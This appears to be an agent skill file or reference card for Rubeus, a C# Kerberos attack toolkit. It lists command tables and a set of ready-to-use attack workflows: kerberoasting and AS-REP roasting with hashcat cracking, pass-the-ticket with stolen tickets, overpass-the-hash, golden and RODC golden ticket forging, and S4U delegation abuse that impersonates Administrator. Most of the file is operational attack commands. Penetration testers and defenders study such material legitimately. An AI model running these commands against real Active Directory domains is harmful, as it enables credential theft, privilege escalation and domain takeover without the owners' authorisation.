aeondave/rubeus

Rubeus

C# Kerberos abuse toolkit — TGT/TGS manipulation, roasting, delegation, and ticket operations.

Quick Start

# AS-REP Roasting (no pre-auth required users)
Rubeus.exe asreproast /format:hashcat

# Kerberoasting (service account TGS)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# Dump all tickets from memory
Rubeus.exe dump /nowrap

Core Modules

Ticket Harvesting

| Command | Description | |---------|-------------| | dump | Dump tickets from LSASS | | triage | List all tickets | | monitor | Monitor new TGTs (interval-based) | | harvest | Harvest TGTs over time |

Ticket Requests

| Command | Description | |---------|-------------| | asktgt | Request TGT with password/hash/aes | | asktgs | Request TGS for a service | | renew | Renew a TGT |

Roasting

| Command | Description | |---------|-------------| | asreproast | AS-REP roast (pre-auth disabled) | | kerberoast | Roast SPN-registered accounts | | brute | Password brute-force via Kerberos |

Ticket Abuse

| Command | Description | |---------|-------------| | ptt | Pass-the-ticket (inject to current session) | | purge | Purge tickets from memory | | describe | Parse and describe a ticket | | createnetonly | Create sacrificial logon session |

Delegation

| Command | Description | |---------|-------------| | s4u | S4U2Self + S4U2Proxy (constrained delegation) | | tgssub | Substitute altservice in TGS |

Ticket Forging

| Command | Description | |---------|-------------| | golden | Forge golden ticket (TGT) — supports /rodcNumber for RODC golden tickets | | silver | Forge silver ticket (TGS) for specific service | | diamond | Modify legitimate TGT (stealthier than golden) |

Common Workflows

# Kerberoast all SPNs → crack offline
Rubeus.exe kerberoast /format:hashcat /outfile:spns.txt
hashcat -a 0 -m 13100 spns.txt rockyou.txt

# AS-REP roast (dump users without pre-auth)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -a 0 -m 18200 asrep.txt rockyou.txt

# Pass-the-ticket: import stolen ticket
Rubeus.exe ptt /ticket:base64_or_file.kirbi
klist  # verify ticket in session

# Overpass-the-hash: get TGT with NTLM hash
Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt

# Golden ticket equivalent: asktgt with AES key
Rubeus.exe asktgt /user:admin /aes256:AESKEY /domain:corp.local /dc:dc.corp.local /ptt

# Constrained delegation S4U
Rubeus.exe s4u /user:service$ /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.corp.local /ptt

# RODC Golden Ticket — forge TGT signed by RODC krbtgt_XXXXX
# /rodcNumber sets kvno to (XXXXX << 16 | kvno_low) automatically
Rubeus.exe golden /rodcNumber:8245 /aes256:<krbtgt_8245_aes256> /user:Administrator /id:500 /domain:domain.local /sid:<domain_SID> /flags:forwardable,renewable,enc_pa_rep /outfile:ticket.kirbi

# Then upgrade to real TGS via asktgs against writable DC
Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/DC01.domain.local /dc:<writable_dc_ip> /outfile:tgs.kirbi

# S4U with SPN substitution (/altservice) for double-hop
# Gets cifs/ ticket but substitutes http/ for WinRM access
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /altservice:http/TARGET.domain.local /dc:<dc_ip> /ptt

# createnetonly — sacrifice logon session for ticket injection (bypasses WinRM double-hop)
# Creates a new process in LOGON_TYPE 9 where injected tickets are usable for outbound auth
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /dc:<dc_ip> /ptt /createnetonly:"cmd.exe /c C:\Windows\Temp\run.bat" /show:false

Resources

| File | When to load | |------|--------------| | references/kerberos-attacks.md | Full Kerberos attack chain, delegation types, ticket format, detection notes |

Structuring This Skill